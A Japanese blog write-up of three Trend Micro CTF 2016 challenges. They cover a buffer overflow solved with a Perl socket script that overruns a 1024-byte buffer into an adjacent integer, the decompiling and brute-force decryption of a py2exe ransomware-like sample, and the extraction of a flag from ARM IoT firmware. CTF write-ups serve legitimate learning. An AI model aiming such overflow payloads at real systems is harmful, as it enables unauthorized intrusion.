Web、サーバ、ソフトウェア、バグ・脆弱性 などの情報を何人かで集まって書いていく IT/Web情報系ブログ

Trend Micro CTF 2016 writeup

投稿日:   最終更新日:2017/01/15  投稿者:xx2zz

Trend Micro CTF 2016に一人チームで参加した。
3問解いて48位だった。

tmctf2016

Analysis – Offensive

200

1024バイトのバッファに対して1028バイトrecvしてくれるので、隣接するintの変数が書き換え可能。
フラグを出力する分岐に入る値を送ればよい。

use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(
    PeerAddr => '52.197.128.90',
    PeerPort => 80,
    Proto => 'tcp'
);

$|=1;
$sock->autoflush(1);

print read_until($sock, 'Welcome');

syswrite $sock, ("a"x1024) ."\xFE\xC0\x51\xBE";

while (1) {
    $sock->recv(my $data, 8192);
    print $data;
}

#$sock->close();

sub read_until {
    my $fd = shift;
    my $until = shift;
    my $ret = do {local $/=$until; <$fd>};
    return $ret;
}

※Flagはどこかいったので省略

スポンサーリンク

Analysis – Defensive

400

暗号化されたファイルと暗号化するプログラムが渡されるので、復号しろという問題。
最初の実行ファイルをzipとして展開するとまた別の実行ファイルが出てくる。
更に展開するとPythonのバイトコードファイルがたくさん出てくるので、Pythonスクリプトをexe化したものだとわかる。
ぐぐると、それらしいツールが2つぐらいヒットする。
ソースを眺めてみてpy2exeがそれっぽいとわかる。

py2exeはメインのスクリプトをリソース領域に埋め込んでいるらしいので、まずは「PYTHONSCRIPT」というリソースをダンプ。
py2exeのbuild_exe.pyを見ると、コードをコンパイルした後、ヘッダなどを追加しているので、メインのバイトコードだけを取り出す。

            code_object = compile(file(self.custom_boot_script, "U").read() + "\n",
                                  os.path.abspath(self.custom_boot_script), "exec")
            code_objects.append(code_object)
        if script:
            code_object = compile(open(script, "U").read() + "\n",
                                  os.path.basename(script), "exec")
            code_objects.append(code_object)
        code_bytes = marshal.dumps(code_objects)

        if self.distribution.zipfile is None:
            relative_arcname = ""

        si = struct.pack("iiii",
                         0x78563412, # a magic value,
                         self.optimize,
                         self.unbuffered,
                         len(code_bytes),
                         ) + relative_arcname + "\000"

        script_bytes = si + code_bytes + '\000\000'
import marshal

f = open("PYTHONSCRIPT.bin", "rb")
data = f.read()
obj = marshal.loads(data[17:-2])
f.close()

f = open("002.pyc", "wb")
f.write("\x03\xF3\x0D\x0A\x90\x6D\x75\x4D" + marshal.dumps(obj[2]))
f.close()

あとは、uncompyle2というツールでバイトコードを逆コンパイルするとスクリプトが得られる。

暗号化は、
1. 実行毎にランダムで決まる鍵1でAES暗号化→Base64
2. 実行時の日付8桁(鍵2)でRC4暗号化
という流れで行われるが、これを10回繰り返している。

鍵2は”20160106″~”20163107″あたりを総当たりで試して、Base64っぽい文字列が得られれば当たりと判断できるが、「002.exe」の更新日時である”20163006″を試したら一発で当ててしまった。

鍵1は、10個の異なる文字から5個ランダムで選ぶので10^5で100000通り。

s = 'TrEndMicRo'
key1 = ''
for i in range(5):
    key1 = key1 + random.choice(s)

key1 = '!' + key1 + key1 + key1 + key1 + key1 + key1 + '!'

鍵2は確定しているので、鍵2で復号化したデータを鍵1の候補で復号化し、さらにもう一度鍵2で復号化したときにBase64っぽい文字列であれば当たりと判断できる。

Pythonスクリプトで書かれたRC4の復号化には時間がかかるようだったので、RC4は先頭16バイト程を復号化して100000通り総当たりすると数分で鍵1が得られた。

for key in list(itertools.product("TrEndMicRo", repeat=5)):
    if cnt % 1000 == 0:
        print cnt
    cnt = cnt + 1
    key1 = "".join(key)
    key1 = '!' + key1 + key1 + key1 + key1 + key1 + key1 + '!'
    decoded1 = aes_decrypt(key, decoded2)
    decoded0 = rc4_decrypt(decoded1, "20163006")
    if is_base64(decoded0)
        print key1

鍵1: !MdEccMdEccMdEccMdEccMdEccMdEcc!
鍵2: 20163006

得られた鍵で復号化するとPNG形式の画像になった。

Flag is a MD5 of original this file.
TMCTF{<input MD5>}

と書かれている。
復号化したファイルのMD5のことらしいが、なぜか通らず。
アルファベット部分を大文字にしたらいけた。

Flag: TMCTF{8457F2FDA0BF2BF1DB76121ED133B46E}

MD5ぐらい小文字でも通るようにしておいてほしい。こんなことに時間を使いたくない。

Misc(iot and network)

300

謎のスマートデバイスのファームウェアのアップデートファイルからフラグを得る問題。

「firmware.bin」をバイナリエディタで見ると、全体的にエントロピーが高いので、圧縮か暗号化がされているように思えるが、ヘッダらしき値も見られる。

gzipっぽいので先頭に1F 8Bをつけて展開すると、tarファイルが得られる。

binとかetcとかhomeとかが出てくる。
ファイルがいくつもあるので、”TMCTF”でgrepをかけると、bin/authがヒット。

ARMらしい。

$ file bin/auth
auth: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=0xb385cfba44717d2e168a6576ea289f6d85b69dc9, stripped

objdumpして”TMCTF{%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c}”を参照してるところを眺めると、なにやら引数らしき値をスタックにたくさん積んでるコードがある。

   10754:	e55b305b 	ldrb	r3, [fp, #-91]	; 0x5b
   10758:	e58d3040 	str	r3, [sp, #64]	; 0x40
   1075c:	e58d203c 	str	r2, [sp, #60]	; 0x3c
   10760:	e58d1038 	str	r1, [sp, #56]	; 0x38
   10764:	e58d0034 	str	r0, [sp, #52]	; 0x34
   10768:	e58dc030 	str	ip, [sp, #48]	; 0x30
   1076c:	e58de02c 	str	lr, [sp, #44]	; 0x2c
   10770:	e58d4028 	str	r4, [sp, #40]	; 0x28
   10774:	e51b009c 	ldr	r0, [fp, #-156]	; 0x9c
   10778:	e58d0024 	str	r0, [sp, #36]	; 0x24
   1077c:	e51b0098 	ldr	r0, [fp, #-152]	; 0x98
   10780:	e58d0020 	str	r0, [sp, #32]
   10784:	e51b0094 	ldr	r0, [fp, #-148]	; 0x94
   10788:	e58d001c 	str	r0, [sp, #28]
   1078c:	e51b0090 	ldr	r0, [fp, #-144]	; 0x90
   10790:	e58d0018 	str	r0, [sp, #24]
   10794:	e58da014 	str	sl, [sp, #20]
   10798:	e58d9010 	str	r9, [sp, #16]
   1079c:	e58d800c 	str	r8, [sp, #12]
   107a0:	e58d7008 	str	r7, [sp, #8]
   107a4:	e58d6004 	str	r6, [sp, #4]
   107a8:	e58d5000 	str	r5, [sp]
   107ac:	e51b308c 	ldr	r3, [fp, #-140]	; 0x8c
   107b0:	e51b2088 	ldr	r2, [fp, #-136]	; 0x88
   107b4:	e51b1084 	ldr	r1, [fp, #-132]	; 0x84
   107b8:	e59f0064 	ldr	r0, [pc, #100]	; 0x10824
   107bc:	eb001a63 	bl	0x17150

当該関数の最初のほうで”ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_-“をfp(r11)-0x6cにコピーしているっぽいコードがあるので、printf?の20文字分の引数を積んでるところで参照してるアドレスから表示される文字が分かる。

use strict;

my @s = ();

my $str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_-';

$s[0x6c-$_] = substr($str, $_, 1) for (0..length($str)-1);

#printf "%02X: %s\n", $_, $s[$_] for 0..$#s;

my @p = (
    0x5B,
    0x64,
    0x48,
    0x48,
    0x32,
    0x53,
    0x57,
    0x5D,
    0x66,
    0x30,
    0x5A,
    0x53,
    0x55,
    0x48,
    0x59,
    0x66,
    0x6A,
    0x61,
    0x4E,
    0x5D,
);

print $s[$_] for reverse @p;
print $/;

Flag: TMCTF{PeLCGTkXZS9GPVZ7kkIR}

- writeup , , ,

Message

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

関連記事